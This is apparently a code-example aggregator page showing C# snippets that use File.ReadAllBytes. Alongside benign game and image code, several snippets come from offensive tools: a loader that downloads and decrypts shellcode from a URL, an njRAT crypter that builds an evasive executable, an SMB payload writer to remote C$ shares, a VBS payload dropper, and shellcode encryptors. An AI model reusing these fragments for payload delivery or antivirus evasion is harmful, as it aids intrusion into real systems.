Here are the examples of the csharp api System.IO.File.ReadAllBytes(string) taken from open source projects. By voting up you can indicate which examples are most useful and appropriate.
3347 Examples
19
Source : SteamBotController.cs
with GNU General Public License v3.0
from 00000vish
with GNU General Public License v3.0
from 00000vish
static void OnConnected(SteamClient.ConnectedCallback callback)
{
Console.WriteLine("Connected to Steam! Logging in '{0}'...", user);
byte[] sentryHash = null;
if (File.Exists("sentry.bin"))
{
// if we have a saved sentry file, read and sha-1 hash it
byte[] sentryFile = File.ReadAllBytes("sentry.bin");
sentryHash = CryptoHelper.SHAHash(sentryFile);
}
steamUser.LogOn(new SteamUser.LogOnDetails
{
Username = user,
Preplacedword = preplaced,
// in this sample, we preplaced in an additional authcode
// this value will be null (which is the default) for our first logon attempt
AuthCode = authCode,
// if the account is using 2-factor auth, we'll provide the two factor code instead
// this will also be null on our first logon attempt
TwoFactorCode = twoFactorAuth,
// our subsequent logons use the hash of the sentry file as proof of ownership of the file
// this will also be null for our first (no authcode) and second (authcode only) logon attempts
SentryFileHash = sentryHash,
});
}
19
Source : frmMain.cs
with GNU General Public License v3.0
from 0x00000FF
with GNU General Public License v3.0
from 0x00000FF
private bool Check()
{
if (File.Exists(IVFilePath))
{
var IVTest = File.ReadAllBytes(IVFilePath);
if (IVTest.Length == 16)
if (File.Exists(KeyFilePath))
{
var KeyTest = File.ReadAllBytes(KeyFilePath);
if (KeyTest.Length == 32)
{
Status.ForeColor = Color.LimeGreen;
Status.Text = "SAFE for Original Build";
return true;
}
}
}
return false;
}
19
Source : frmMain.cs
with GNU General Public License v3.0
from 0x00000FF
with GNU General Public License v3.0
from 0x00000FF
private void Create_Click(object sender, EventArgs e)
{
try
{
if (File.Exists(IVFilePath))
{
if (File.GetAttributes(IVFilePath) == FileAttributes.Hidden)
File.SetAttributes(IVFilePath, FileAttributes.Normal);
if (File.ReadAllBytes(IVFilePath).Length != 16)
{
File.Delete(IVFilePath);
}
var _buffer = new byte[16];
var randomKey = new RNGCryptoServiceProvider();
randomKey.GetBytes(_buffer);
File.WriteAllBytes(IVFilePath, _buffer);
}
else
{
var _buffer = new byte[16];
var randomKey = new RNGCryptoServiceProvider();
randomKey.GetBytes(_buffer);
File.WriteAllBytes(IVFilePath, _buffer);
}
if (File.Exists(KeyFilePath))
{
if (File.GetAttributes(KeyFilePath) == FileAttributes.Hidden)
File.SetAttributes(KeyFilePath, FileAttributes.Normal);
if (File.ReadAllBytes(KeyFilePath).Length != 32)
{
File.Delete(KeyFilePath);
}
var _buffer = new byte[32];
var randomKey = new RNGCryptoServiceProvider();
randomKey.GetBytes(_buffer);
File.WriteAllBytes(KeyFilePath, _buffer);
}
else
{
var _buffer = new byte[32];
var randomKey = new RNGCryptoServiceProvider();
randomKey.GetBytes(_buffer);
File.WriteAllBytes(KeyFilePath, _buffer);
}
File.SetAttributes(IVFilePath, FileAttributes.Hidden);
File.SetAttributes(KeyFilePath, FileAttributes.Hidden);
Check();
}
catch
{
MessageBox.Show("There's problem to create pseudo key/iv files.\nTry again with administrator privileges.");
}
}
19
Source : Program.cs
with MIT License
from 0xDivyanshu
with MIT License
from 0xDivyanshu
static byte[] downloaded_data(string location, int encryption, string preplacedword)
{
byte[] shellcode;
if (location.StartsWith("http") || location.StartsWith("\\"))
{
WebClient wc = new WebClient();
string url = location;
shellcode = wc.DownloadData(url);
}
else
{
shellcode = File.ReadAllBytes(location);
}
if (encryption != 0)
{
if (encryption == 1)
{
// xor encryption used
byte[] decode_shellcode = xor_decryption(shellcode, preplacedword);
return decode_shellcode;
}
else if (encryption == 2)
{
byte[] decoded_shellcode = aes_decryption(shellcode, preplacedword);
return decoded_shellcode;
}
}
return shellcode;
}
19
Source : Helper.cs
with MIT License
from 0xDivyanshu
with MIT License
from 0xDivyanshu
static void Main(string[] args)
{
if (args[0].StartsWith("-location") && args[1].StartsWith("-encrypt") && args[2].StartsWith("-preplacedword") && args[3].StartsWith("-saveTo"))
{
string location = args[0].Split('=')[1];
string algo = args[1].Split('=')[1];
string preplaced = args[2].Split('=')[1];
string writeTo = args[3].Split('=')[1];
preplaced = CreateMD5(preplaced);
byte[] shellcode;
if (location.StartsWith("http") || location.StartsWith("\\"))
{
WebClient wc = new WebClient();
string url = location;
shellcode = wc.DownloadData(url);
}
else
{
shellcode = File.ReadAllBytes(location);
}
if (algo == "aes")
{
byte[] encoded_shellcode = Encrypt(shellcode, preplaced,"1234567891234567");
File.WriteAllBytes(writeTo, encoded_shellcode);
Console.WriteLine("[+] Encrypted aes shellcode written to disk");
return;
}
else if (algo == "xor")
{
byte[] encoded_shellcode = xor_enc(shellcode, preplaced);
File.WriteAllBytes(writeTo, encoded_shellcode);
Console.WriteLine("[+] Encrypted xor shellcode written to disk");
return;
}
}
else
{
help_me();
return;
}
}
19
Source : fMain.cs
with MIT License
from 0xPh0enix
with MIT License
from 0xPh0enix
private void bCrypt_Click(object sender, EventArgs e)
{
if (!File.Exists(tServer.Text))
{
MessageBox.Show("Error, server is not exists!", "", MessageBoxButtons.OK, MessageBoxIcon.Error);
return;
}
if (!File.Exists(tIcon.Text) && tIcon.Text.Trim() != "")
{
MessageBox.Show("Error, icon is not exists!", "", MessageBoxButtons.OK, MessageBoxIcon.Error);
return;
}
using (SaveFileDialog fSaveDialog = new SaveFileDialog())
{
fSaveDialog.Filter = "Executable (*.exe)|*.exe";
fSaveDialog.replacedle = "Save crypted Server...";
if (fSaveDialog.ShowDialog() == DialogResult.OK)
{
string sFileName = cUtils.GenStr(8);
string sKey = cUtils.GenStr(40);
string sStub = Properties.Resources.Stub
.Replace("%RES_NAME%", sFileName)
.Replace("%ENC_KEY%", sKey);
File.WriteAllBytes(sFileName, nAES256.cAES256.Encrypt(File.ReadAllBytes(tServer.Text), System.Text.Encoding.Default.GetBytes(sKey)));
using (CSharpCodeProvider csCodeProvider = new CSharpCodeProvider(new Dictionary<string, string>
{
{"CompilerVersion", "v2.0"}
}))
{
CompilerParameters cpParams = new CompilerParameters(null, fSaveDialog.FileName, true);
if (tIcon.Text.Trim() == "")
cpParams.CompilerOptions = "/t:winexe /unsafe /platform:x86 /debug-";
else
cpParams.CompilerOptions = "/t:winexe /unsafe /platform:x86 /debug- /win32icon:\"" + tIcon.Text + "\"";
cpParams.Referencedreplacedemblies.Add("System.dll");
cpParams.Referencedreplacedemblies.Add("System.Management.dll");
cpParams.Referencedreplacedemblies.Add("System.Windows.Forms.dll");
cpParams.EmbeddedResources.Add(sFileName);
csCodeProvider.CompilereplacedemblyFromSource(cpParams, sStub);
MessageBox.Show("Your nj server crypted successfully!", "OK", MessageBoxButtons.OK, MessageBoxIcon.Information);
}
File.Delete(sFileName);
}
}
}
19
Source : Program.cs
with GNU General Public License v3.0
from 0xthirteen
with GNU General Public License v3.0
from 0xthirteen
static void WriteToFileSMB(string host, string droploc, string fname, string paylocation)
{
try
{
byte[] filen = null;
var writeuncpath = String.Format(@"\\{0}\C${1}\{2}", host, droploc, fname);
//this is meant to be updated to compile file into replacedembly
if (Path.IsPathRooted(paylocation))
{
filen = File.ReadAllBytes(paylocation);
}
Console.WriteLine("[+] Writing data to : {0}", host);
File.WriteAllBytes(writeuncpath, filen);
}
catch (Exception ex)
{
Console.WriteLine("[X] Error : {0}", ex.Message);
return;
}
}
19
Source : FileWrite.cs
with GNU General Public License v3.0
from 0xthirteen
with GNU General Public License v3.0
from 0xthirteen
static void GetFileContent(string paylocation, string droploc, string fname, string dtype)
{
bool uricheck = Uri.IsWellFormedUriString(paylocation, UriKind.RelativeOrAbsolute);
if (paylocation == "local")
{
String plfile = "LOADLOADLOAD";
if(dtype == "flat")
{
String finalpay = String.Format("Dim pLoad, fnames, droploc\npLoad =\"{0}\"\nfnames = \"{1}\"\ndroploc = \"{2}\"\n", plfile, fname, droploc);
vbsp = vbsp.Insert(0, finalpay);
}
else if (dtype == "nonflat")
{
datavals = plfile;
}
}
else
{
if (uricheck)
{
try
{
WebClient webcl = new WebClient();
//May want to change this
webcl.Headers.Add("user-agent", "Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko");
byte[] filedata = webcl.DownloadData(paylocation);
string plfile = Convert.ToBase64String(filedata);
if (dtype == "flat")
{
String finalpay = String.Format("Dim pLoad, fnames, droploc\npLoad =\"{0}\"\nfnames = \"{1}\"\ndroploc = \"{2}\"\n", plfile, fname, droploc);
vbsp = vbsp.Insert(0, finalpay);
}
else if (dtype == "nonflat")
{
datavals = plfile;
}
}
catch (WebException)
{
Console.WriteLine("[X] URL doesnt exist");
return;
}
}
else
{
try
{
Byte[] plbytes = File.ReadAllBytes(paylocation);
String plfile = Convert.ToBase64String(plbytes);
if(dtype == "flat")
{
String finalpay = String.Format("Dim pLoad, fnames, droploc\npLoad =\"{0}\"\nfnames = \"{1}\"\ndroploc = \"{2}\"\n", plfile, fname, droploc);
vbsp = vbsp.Insert(0, finalpay);
}
else if (dtype == "nonflat")
{
datavals = plfile;
}
}
catch (IOException)
{
Console.WriteLine("[X] File doesnt exist");
return;
}
}
}
}
19
Source : RedumpProvider.cs
with MIT License
from 13xforever
with MIT License
from 13xforever
public async Task<HashSet<DiscKeyInfo>> EnumerateAsync(string discKeyCachePath, string ProductCode, CancellationToken cancellationToken)
{
var result = new HashSet<DiscKeyInfo>();
try
{
var replacedembly = replacedembly.GetExecutingreplacedembly();
var embeddedResources = replacedembly.GetManifestResourceNames().Where(n => n.Contains("Disc_Keys") || n.Contains("Disc Keys")).ToList();
if (embeddedResources.Any())
Log.Trace("Loading embedded redump keys");
else
Log.Warn("No embedded redump keys found");
foreach (var res in embeddedResources)
{
using var resStream = replacedembly.GetManifestResourceStream(res);
using var zip = new ZipArchive(resStream, ZipArchiveMode.Read);
foreach (var zipEntry in zip.Entries.Where(e => e.Name.EndsWith(".dkey", StringComparison.InvariantCultureIgnoreCase)
|| e.Name.EndsWith(".key", StringComparison.InvariantCultureIgnoreCase)))
{
using var keyStream = zipEntry.Open();
using var memStream = new MemoryStream();
await keyStream.CopyToAsync(memStream, cancellationToken).ConfigureAwait(false);
var discKey = memStream.ToArray();
if (zipEntry.Length > 256/8*2)
{
Log.Warn($"Disc key size is too big: {discKey} ({res}/{zipEntry.FullName})");
continue;
}
if (discKey.Length > 16)
{
discKey = Encoding.UTF8.GetString(discKey).TrimEnd().ToByteArray();
}
try
{
result.Add(new DiscKeyInfo(null, discKey, zipEntry.FullName, KeyType.Redump, discKey.ToHexString()));
}
catch (Exception e)
{
Log.Warn(e, $"Invalid disc key format: {discKey}");
}
}
}
if (result.Any())
Log.Info($"Found {result.Count} embedded redump keys");
else
Log.Warn($"Failed to load any embedded redump keys");
}
catch (Exception e)
{
Log.Error(e, "Failed to load embedded redump keys");
}
Log.Trace("Loading cached redump keys");
var diff = result.Count;
try
{
if (Directory.Exists(discKeyCachePath))
{
var matchingDiskKeys = Directory.GetFiles(discKeyCachePath, "*.dkey", SearchOption.TopDirectoryOnly)
.Concat(Directory.GetFiles(discKeyCachePath, "*.key", SearchOption.TopDirectoryOnly));
foreach (var dkeyFile in matchingDiskKeys)
{
try
{
try
{
var discKey = File.ReadAllBytes(dkeyFile);
if (discKey.Length > 16)
{
try
{
discKey = Encoding.UTF8.GetString(discKey).TrimEnd().ToByteArray();
}
catch (Exception e)
{
Log.Warn(e, $"Failed to convert {discKey.ToHexString()} from hex to binary");
}
}
result.Add(new DiscKeyInfo(null, discKey, dkeyFile, KeyType.Redump, discKey.ToString()));
}
catch (InvalidDataException)
{
File.Delete(dkeyFile);
continue;
}
catch (Exception e)
{
Log.Warn(e);
continue;
}
}
catch (Exception e)
{
Log.Warn(e, e.Message);
}
}
}
}
catch (Exception ex)
{
Log.Warn(ex, "Failed to load redump keys from local cache");
}
diff = result.Count - diff;
Log.Info($"Found {diff} cached disc keys");
return result;
}
19
Source : IrdClient.cs
with MIT License
from 13xforever
with MIT License
from 13xforever
public async Task<Ird> DownloadAsync(SearchResulreplacedem irdInfo, string localCachePath, CancellationToken cancellationToken)
{
Ird result = null;
try
{
var localCacheFilename = Path.Combine(localCachePath, irdInfo.Filename);
// first we search local cache and try to load whatever data we can
try
{
if (File.Exists(localCacheFilename))
return IrdParser.Parse(File.ReadAllBytes(localCacheFilename));
}
catch (Exception e)
{
Log.Warn(e, "Error accessing local IRD cache: " + e.Message);
}
try
{
var resultBytes = await client.GetByteArrayAsync(GetDownloadLink(irdInfo.Filename)).ConfigureAwait(false);
result = IrdParser.Parse(resultBytes);
try
{
if (!Directory.Exists(localCachePath))
Directory.CreateDirectory(localCachePath);
File.WriteAllBytes(localCacheFilename, resultBytes);
}
catch (Exception ex)
{
Log.Warn(ex, $"Failed to write {irdInfo.Filename} to local cache: {ex.Message}");
}
}
catch (Exception e)
{
Log.Warn(e, $"Failed to download {irdInfo.Filename}: {e.Message}");
}
return result;
}
catch (Exception e)
{
Log.Error(e);
return result;
}
}
19
Source : Dumper.cs
with MIT License
from 13xforever
with MIT License
from 13xforever
private List<DiscInfo.DiscInfo> GetValidationInfo()
{
var discInfoList = new List<DiscInfo.DiscInfo>();
foreach (var discKeyInfo in allMatchingKeys.Where(ki => ki.KeyType == KeyType.Ird))
{
var ird = IrdParser.Parse(File.ReadAllBytes(discKeyInfo.FullPath));
if (!DiscVersion.Equals(ird.GameVersion))
continue;
discInfoList.Add(ird.ToDiscInfo());
}
return discInfoList;
}
19
Source : Utility.cs
with MIT License
from 1217950746
with MIT License
from 1217950746
internal static BitmapSource LoadImg(string path)
{
try
{
BitmapImage bitmapImage = new BitmapImage();
bitmapImage.BeginInit();
bitmapImage.CacheOption = BitmapCacheOption.OnLoad;
bitmapImage.StreamSource = new System.IO.MemoryStream(System.IO.File.ReadAllBytes(path));
bitmapImage.EndInit();
return bitmapImage;
}
catch
{
return null;
}
}
19
Source : MainForm.cs
with MIT License
from 13xforever
with MIT License
from 13xforever
private void selectIrdButton_Click(object sender, EventArgs e)
{
var dialog = new OpenFileDialog
{
CheckFileExists = true,
DefaultExt = ".ird",
Filter = "IRD file (*.ird)|*.ird|Redump disc key file (*.dkey)|*.dkey|All supported files|*.ird;*.dkey|All files|*",
FilterIndex = 2,
replacedle = "Select a disc key file",
SupportMultiDottedExtensions = true,
InitialDirectory = settings.IrdDir,
};
var dialogResult = dialog.ShowDialog();
if (dialogResult != DialogResult.OK || string.IsNullOrEmpty(dialog.FileName) || !File.Exists(dialog.FileName))
return;
var discKeyPath = dialog.FileName;
try
{
var discKey = File.ReadAllBytes(discKeyPath);
DiscKeyInfo keyInfo;
if (discKey.Length > 256 / 8)
{
var ird = IrdParser.Parse(discKey);
keyInfo = new DiscKeyInfo(ird.Data1, null, discKeyPath, KeyType.Ird, ird.Crc32.ToString("x8"));
}
else
keyInfo = new DiscKeyInfo(null, discKey, discKeyPath, KeyType.Redump, discKey.ToHexString());
var discKeyFilename = Path.GetFileName(discKeyPath);
var cacheFilename = Path.Combine(settings.IrdDir, discKeyFilename);
if (!File.Exists(cacheFilename))
File.Copy(discKeyPath, cacheFilename);
//todo: proper check
currentDumper.FindDiscKeyAsync(settings.IrdDir).GetAwaiter().GetResult();
if (!currentDumper.IsValidDiscKey(discKey))
{
MessageBox.Show("Selected disk key file contains incompatible file set, and cannot be used with the selected PS3 game disc.", "IRD file check", MessageBoxButtons.OK, MessageBoxIcon.Error);
return;
}
selectIrdButton.Visible = false;
selectIrdButton.Enabled = false;
FindMatchingIrdFinished(sender, new RunWorkerCompletedEventArgs(currentDumper, null, currentDumper?.Cts.IsCancellationRequested ?? true));
}
catch (Exception ex)
{
MessageBox.Show(ex.Message, "IRD Check Error", MessageBoxButtons.OK, MessageBoxIcon.Error);
}
}
19
Source : ImageLoading.cs
with GNU General Public License v3.0
from 1330-Studios
with GNU General Public License v3.0
from 1330-Studios
public static Texture2D LoadTexture(string FilePath) {
Texture2D Tex2D;
byte[] FileData;
if (File.Exists(FilePath)) {
FileData = File.ReadAllBytes(FilePath);
Tex2D = new Texture2D(2, 2);
if (ImageConversion.LoadImage(Tex2D, FileData))
return Tex2D;
}
return null;
}
19
Source : IrdProvider.cs
with MIT License
from 13xforever
with MIT License
from 13xforever
public async Task<HashSet<DiscKeyInfo>> EnumerateAsync(string discKeyCachePath, string ProductCode, CancellationToken cancellationToken)
{
ProductCode = ProductCode?.ToUpperInvariant();
var result = new HashSet<DiscKeyInfo>();
var knownFilenames = new HashSet<string>(StringComparer.InvariantCultureIgnoreCase);
Log.Trace("Searching local cache for a match...");
if (Directory.Exists(discKeyCachePath))
{
var matchingIrdFiles = Directory.GetFiles(discKeyCachePath, "*.ird", SearchOption.TopDirectoryOnly);
foreach (var irdFile in matchingIrdFiles)
{
try
{
try
{
var ird = IrdParser.Parse(File.ReadAllBytes(irdFile));
result.Add(new DiscKeyInfo(ird.Data1, null, irdFile, KeyType.Ird, ird.Crc32.ToString("x8")));
knownFilenames.Add(Path.GetFileName(irdFile));
}
catch (InvalidDataException)
{
File.Delete(irdFile);
continue;
}
catch (Exception e)
{
Log.Warn(e);
continue;
}
}
catch (Exception e)
{
Log.Warn(e, e.Message);
}
}
}
Log.Trace("Searching IRD Library for match...");
var irdInfoList = await Client.SearchAsync(ProductCode, cancellationToken).ConfigureAwait(false);
var irdList = irdInfoList?.Data?.Where(
i => !knownFilenames.Contains(i.Filename) && i.Filename.Substring(0, 9).ToUpperInvariant() == ProductCode
).ToList() ?? new List<SearchResulreplacedem>(0);
if (irdList.Count == 0)
Log.Debug("No matching IRD file was found in the Library");
else
{
Log.Info($"Found {irdList.Count} new match{(irdList.Count == 1 ? "" : "es")} in the IRD Library");
foreach (var irdInfo in irdList)
{
var ird = await Client.DownloadAsync(irdInfo, discKeyCachePath, cancellationToken).ConfigureAwait(false);
result.Add(new DiscKeyInfo(ird.Data1, null, Path.Combine(discKeyCachePath, irdInfo.Filename), KeyType.Ird, ird.Crc32.ToString("x8")));
knownFilenames.Add(irdInfo.Filename);
}
}
if (knownFilenames.Count == 0)
{
Log.Warn("No valid matching IRD file could be found");
Log.Info($"If you have matching IRD file, you can put it in '{discKeyCachePath}' and try dumping the disc again");
}
Log.Info($"Found {result.Count} IRD files");
return result;
}
19
Source : Dumper.cs
with MIT License
from 13xforever
with MIT License
from 13xforever
public void DetectDisc(string inDir = "", Func<Dumper, string> outputDirFormatter = null)
{
outputDirFormatter ??= d => $"[{d.ProductCode}] {d.replacedle}";
string discSfbPath = null;
if (RuntimeInformation.IsOSPlatform(OSPlatform.Windows))
{
var drives = DriveInfo.GetDrives().Where(d => d.DriveType == DriveType.CDRom && d.IsReady);
if (string.IsNullOrEmpty(inDir))
{
foreach (var drive in drives)
{
discSfbPath = Path.Combine(drive.Name, "PS3_DISC.SFB");
if (!File.Exists(discSfbPath))
continue;
input = drive.Name;
Drive = drive.Name[0];
break;
}
}
else
{
discSfbPath = Path.Combine(inDir, "PS3_DISC.SFB");
if (File.Exists(discSfbPath))
{
input = Path.GetPathRoot(discSfbPath);
Drive = discSfbPath[0];
}
}
}
else if (RuntimeInformation.IsOSPlatform(OSPlatform.Linux))
{
if (string.IsNullOrEmpty(inDir))
inDir = "/media";
discSfbPath = IOEx.GetFilepaths(inDir, "PS3_DISC.SFB", 2).FirstOrDefault();
if (!string.IsNullOrEmpty(discSfbPath))
input = Path.GetDirectoryName(discSfbPath);
}
else
throw new NotImplementedException("Current OS is not supported");
if (string.IsNullOrEmpty(input) || string.IsNullOrEmpty(discSfbPath))
throw new DriveNotFoundException("No valid PS3 disc was detected. Disc must be detected and mounted.");
Log.Info("Selected disc: " + input);
discSfbData = File.ReadAllBytes(discSfbPath);
var replacedleId = CheckDiscSfb(discSfbData);
var paramSfoPath = Path.Combine(input, "PS3_GAME", "PARAM.SFO");
if (!File.Exists(paramSfoPath))
throw new InvalidOperationException($"Specified folder is not a valid PS3 disc root (param.sfo is missing): {input}");
using (var stream = File.Open(paramSfoPath, FileMode.Open, FileAccess.Read, FileShare.Read))
ParamSfo = ParamSfo.ReadFrom(stream);
CheckParamSfo(ParamSfo);
if (replacedleId != ProductCode)
Log.Warn($"Product codes in ps3_disc.sfb ({replacedleId}) and in param.sfo ({ProductCode}) do not match");
// todo: maybe use discutils instead to read TOC as one block
var files = IOEx.GetFilepaths(input, "*", SearchOption.AllDirectories);
DiscFilenames = new List<string>();
var totalFilesize = 0L;
var rootLength = input.Length;
foreach (var f in files)
{
try { totalFilesize += new FileInfo(f).Length; } catch { }
DiscFilenames.Add(f.Substring(rootLength));
}
TotalFileSize = totalFilesize;
TotalFileCount = DiscFilenames.Count;
OutputDir = new string(outputDirFormatter(this).ToCharArray().Where(c => !InvalidChars.Contains(c)).ToArray());
Log.Debug($"Output: {OutputDir}");
}
19
Source : DotNetToJScript.cs
with MIT License
from 1y0n
with MIT License
from 1y0n
public static string Generate()
{
try
{
/*
if (Environment.Version.Major != 2)
{
WriteError("This tool should only be run on v2 of the CLR");
Environment.Exit(1);
}
*/
string output_file = null;
string entry_clreplaced_name = DEFAULT_ENTRY_CLreplaced_NAME;
string additional_script = String.Empty;
bool mscorlib_only = false;
bool scriptlet_moniker = false;
bool scriptlet_uninstall = false;
bool enable_debug = false;
RuntimeVersion version = RuntimeVersion.Auto;
ScriptLanguage language = ScriptLanguage.JScript;
Guid clsid = Guid.Empty;
bool show_help = false;
string replacedembly_path = Global_Var.dll_path;
/*
if (!File.Exists(replacedembly_path) || show_help)
{
Console.Error.WriteLine(@"Usage: DotNetToJScript {0} [options] path\to\asm", VERSION);
Console.Error.WriteLine("Copyright (C) James Forshaw 2017. Licensed under GPLv3.");
Console.Error.WriteLine("Source code at https://github.com/tyranid/DotNetToJScript");
Console.Error.WriteLine("Options");
opts.WriteOptionDescriptions(Console.Error);
Environment.Exit(1);
}
*/
IScriptGenerator generator;
switch (language)
{
case ScriptLanguage.JScript:
generator = new JScriptGenerator();
break;
case ScriptLanguage.VBA:
generator = new VBAGenerator();
break;
case ScriptLanguage.VBScript:
generator = new VBScriptGenerator();
break;
default:
throw new ArgumentException("Invalid script language option");
}
byte[] replacedembly = File.ReadAllBytes(replacedembly_path);
try
{
HashSet<string> valid_clreplacedes = GetValidClreplacedes(replacedembly);
if (!valid_clreplacedes.Contains(entry_clreplaced_name))
{
WriteError("Error: Clreplaced '{0}' not found is replacedembly.", entry_clreplaced_name);
if (valid_clreplacedes.Count == 0)
{
WriteError("Error: replacedembly doesn't contain any public, default constructable clreplacedes");
}
else
{
WriteError("Use one of the follow options to specify a valid clreplacedes");
foreach (string name in valid_clreplacedes)
{
WriteError("-c {0}", name);
}
}
Environment.Exit(1);
}
}
catch (Exception)
{
WriteError("Error: loading replacedembly information.");
WriteError("The generated script might not work correctly");
}
BinaryFormatter fmt = new BinaryFormatter();
MemoryStream stm = new MemoryStream();
fmt.Serialize(stm, mscorlib_only ? BuildLoaderDelegateMscorlib(replacedembly) : BuildLoaderDelegate(replacedembly));
string script = generator.GenerateScript(stm.ToArray(), entry_clreplaced_name, additional_script, version, enable_debug);
if (scriptlet_moniker || scriptlet_uninstall)
{
if (!generator.SupportsScriptlet)
{
throw new ArgumentException(String.Format("{0} generator does not support Scriptlet output", generator.ScriptName));
}
script = CreateScriptlet(script, generator.ScriptName, scriptlet_uninstall, clsid);
}
/*
if (!String.IsNullOrEmpty(output_file))
{
File.WriteAllText(output_file, script, new UTF8Encoding(false));
}
else
{
Console.WriteLine(script);
}
*/
return script;
}
catch (Exception ex)
{
ReflectionTypeLoadException tex = ex as ReflectionTypeLoadException;
if (tex != null)
{
WriteError("Couldn't load replacedembly file");
foreach (var e in tex.LoaderExceptions)
{
WriteError(e.Message);
}
}
else
{
WriteError(ex.Message);
}
return null;
}
}
19
Source : Form1.cs
with Mozilla Public License 2.0
from 1M50RRY
with Mozilla Public License 2.0
from 1M50RRY
private void button2_Click(object sender, EventArgs e)
{
//choose file
int size = -1;
DialogResult result = openFileDialog1.ShowDialog();
if (result == DialogResult.OK)
{
string file = openFileDialog1.FileName;
try
{
byte[] bytes = File.ReadAllBytes(file);
size = bytes.Length;
encFile = bytes;
fpath.Text = file;
}
catch (IOException exc)
{
MessageBox.Show(exc.ToString());
}
}
}
19
Source : PlyHandler.cs
with MIT License
from 3DBear
with MIT License
from 3DBear
private static PlyResult ParseBinaryLittleEndian(string path, PlyHeader header)
{
var headerAsText = header.RawHeader.Aggregate((a, b) => $"{a}\n{b}") + "\n";
var headerAsBytes = Encoding.ASCII.GetBytes(headerAsText);
var withoutHeader = File.ReadAllBytes(path).Skip(headerAsBytes.Length).ToArray();
var colors = new List<Color>();
var vertices = GetVertices(withoutHeader, header, out colors);
var triangles = GetTriangles(withoutHeader, header);
return new PlyResult(vertices, triangles, colors);
}
19
Source : Program.cs
with GNU General Public License v3.0
from 3xpl01tc0d3r
with GNU General Public License v3.0
from 3xpl01tc0d3r
static void Main(string[] args)
{
try
{
logo();
// https://github.com/GhostPack/Rubeus/blob/master/Rubeus/Domain/ArgumentParser.cs#L10
var arguments = new Dictionary<string, string>();
foreach (var argument in args)
{
var idx = argument.IndexOf(':');
if (idx > 0)
arguments[argument.Substring(0, idx)] = argument.Substring(idx + 1);
else
arguments[argument] = string.Empty;
}
WindowsIdenreplacedy idenreplacedy = WindowsIdenreplacedy.GetCurrent();
WindowsPrincipal principal = new WindowsPrincipal(idenreplacedy);
if (principal.IsInRole(WindowsBuiltInRole.Administrator))
{
Console.WriteLine($"[+] Process running with {principal.Idenreplacedy.Name} privileges with HIGH integrity.");
}
else
{
Console.WriteLine($"[+] Process running with {principal.Idenreplacedy.Name} privileges with MEDIUM / LOW integrity.");
}
if (arguments.Count == 0)
{
PrintError("[-] No arguments specified. Please refer the help section for more details.");
help();
}
else if (arguments.ContainsKey("/help"))
{
help();
}
else if (arguments.Count < 3)
{
PrintError("[-] Some arguments are missing. Please refer the help section for more details.");
help();
}
else if (arguments.Count >= 3)
{
string key = "SuperStrongKey";
string shellcode = null;
byte[] rawshellcode = new byte[] { };
if (arguments.ContainsKey("/path") && System.IO.File.Exists(arguments["/path"]))
{
if (arguments["/f"] == "raw")
{
rawshellcode = System.IO.File.ReadAllBytes(arguments["/path"]);
}
else
{
shellcode = System.IO.File.ReadAllText(arguments["/path"]);
}
}
else if (arguments.ContainsKey("/url"))
{
if (arguments["/f"] == "raw")
{
rawshellcode = GetRawShellcode(arguments["/url"]);
}
else
{
shellcode = GetShellcode(arguments["/url"]);
}
}
if (shellcode != null || rawshellcode.Length > 0)
{
byte[] buf = new byte[] { };
if (arguments.ContainsKey("/key"))
{
key = (arguments["/key"]);
}
PrintInfo($"[!] Shellcode will be encrypted using '{key}' key");
if (arguments["/enc"] == "xor")
{
byte[] xorshellcode = new byte[] { };
if (arguments["/f"] == "base64")
{
buf = Convert.FromBase64String(shellcode);
xorshellcode = XOR(buf, Encoding.ASCII.GetBytes(key));
PrintSuccess("[+] Shellcode encrypted successfully.");
//Console.WriteLine(Convert.ToBase64String(xorshellcode));
if (arguments.ContainsKey("/o"))
{
System.IO.File.WriteAllText(arguments["/o"], Convert.ToBase64String(xorshellcode));
PrintSuccess($"[+] Output saved in '{arguments["/o"]}' file.");
}
else
{
System.IO.File.WriteAllText("output.bin", Convert.ToBase64String(xorshellcode));
PrintSuccess($"[+] Output saved in 'output.bin' file.");
}
}
else if (arguments["/f"] == "hex")
{
buf = StringToByteArray(shellcode);
xorshellcode = XOR(buf, Encoding.ASCII.GetBytes(key));
PrintSuccess("[+] Shellcode encrypted successfully.");
//Console.WriteLine(ByteArrayToString(xorshellcode));
if (arguments.ContainsKey("/o"))
{
System.IO.File.WriteAllText(arguments["/o"], ByteArrayToString(xorshellcode));
PrintSuccess($"[+] Output saved in '{arguments["/o"]}' file.");
}
else
{
System.IO.File.WriteAllText("output.bin", ByteArrayToString(xorshellcode));
PrintSuccess($"[+] Output saved in 'output.bin' file.");
}
}
else if (arguments["/f"] == "c")
{
buf = convertfromc(shellcode);
xorshellcode = XOR(buf, Encoding.ASCII.GetBytes(key));
StringBuilder newshellcode = new StringBuilder();
for (int i = 0; i < xorshellcode.Length; i++)
{
newshellcode.Append("\\x");
newshellcode.AppendFormat("{0:x2}", xorshellcode[i]);
}
PrintSuccess("[+] Shellcode encrypted successfully.");
//Console.WriteLine(newshellcode);
if (arguments.ContainsKey("/o"))
{
System.IO.File.WriteAllText(arguments["/o"], newshellcode.ToString());
PrintSuccess($"[+] Output saved in '{arguments["/o"]}' file.");
}
else
{
System.IO.File.WriteAllText("output.bin", newshellcode.ToString());
PrintSuccess($"[+] Output saved in 'output.bin' file.");
}
}
else if (arguments["/f"] == "raw")
{
xorshellcode = XOR(rawshellcode, Encoding.ASCII.GetBytes(key));
PrintSuccess("[+] Shellcode encrypted successfully.");
if (arguments.ContainsKey("/o"))
{
System.IO.File.WriteAllBytes(arguments["/o"], xorshellcode);
PrintSuccess($"[+] Output saved in '{arguments["/o"]}' file.");
}
else
{
System.IO.File.WriteAllBytes("output.bin", xorshellcode);
PrintSuccess($"[+] Output saved in 'output.bin' file.");
}
}
else
{
PrintError("[-] Please specify correct shellcode format.");
}
}
else if (arguments["/enc"] == "aes")
{
byte[] preplacedwordBytes = Encoding.UTF8.GetBytes(key);
preplacedwordBytes = SHA256.Create().ComputeHash(preplacedwordBytes);
byte[] bytesEncrypted = new byte[] { };
if (arguments["/f"] == "base64")
{
buf = Convert.FromBase64String(shellcode);
bytesEncrypted = AES_Encrypt(buf, preplacedwordBytes);
PrintSuccess("[+] Shellcode encrypted successfully.");
//Console.WriteLine(Convert.ToBase64String(bytesEncrypted));
if (arguments.ContainsKey("/o"))
{
System.IO.File.WriteAllText(arguments["/o"], Convert.ToBase64String(bytesEncrypted));
PrintSuccess($"[+] Output saved in '{arguments["/o"]}' file.");
